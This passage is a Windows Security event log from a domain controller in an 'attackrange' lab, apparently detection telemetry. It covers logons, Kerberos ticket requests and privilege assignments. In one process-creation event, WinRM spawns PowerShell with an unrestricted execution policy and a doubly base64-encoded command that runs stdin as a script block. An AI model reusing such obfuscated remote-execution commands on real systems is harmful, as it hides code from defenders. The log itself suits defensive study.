UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250912 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1308 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1180 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250911 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11FE2D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250910 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11FE2D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250909 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250908 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250907 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250906 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11FE11 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250905 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11FE11 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250904 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11FE11 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250903 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250902 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250901 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250900 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11F6E1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250899 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11F11E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250898 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11FC04 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250897 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11FC04 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64488 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250896 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11FC04 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250895 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11FB65 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250894 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11FB65 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64487 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common 